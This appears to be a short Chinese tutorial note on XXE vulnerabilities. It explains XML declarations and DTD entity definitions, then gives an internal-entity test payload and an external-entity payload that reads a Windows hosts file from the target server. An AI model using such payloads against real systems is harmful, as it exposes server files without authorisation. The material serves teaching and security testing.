XXE漏洞
第一部分:XML声明部分
<?xml version="1.0"?>
第二部分:文档类型定义 DTD
<!DOCTYPE note[
<!--定义此文档是note类型的文档-->
<!ENTITY entity-name SYSTEM "URI/URL">
<!--外部实体声明-->
]>
第三部分:文档元素
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
DTD(Document Type Definition,文档类型定义),用来为 XML 文档定义语法约束,可以是内部申明也可以使引用外部.
DTD现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
使用payload
<?xml version = "1.0"?><!DOCTYPE note [ <!ENTITY hacker "天津曲艺团">]>
<name>&hacker;</name>
提交后,可以看到前端返回了我们在xml中的DTD定义变量的值
如果我们输入恶意的payload,通过外部实体引用从而去获取后台服务器的本地文件信息。(外部引用可以支持http,file,ftp等协议)
Payload:
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///C://Windows/System32/drivers/etc/hosts"> ]> <x>&f;</x>
使用这样的方法我们就可以读取对应服务器的文件了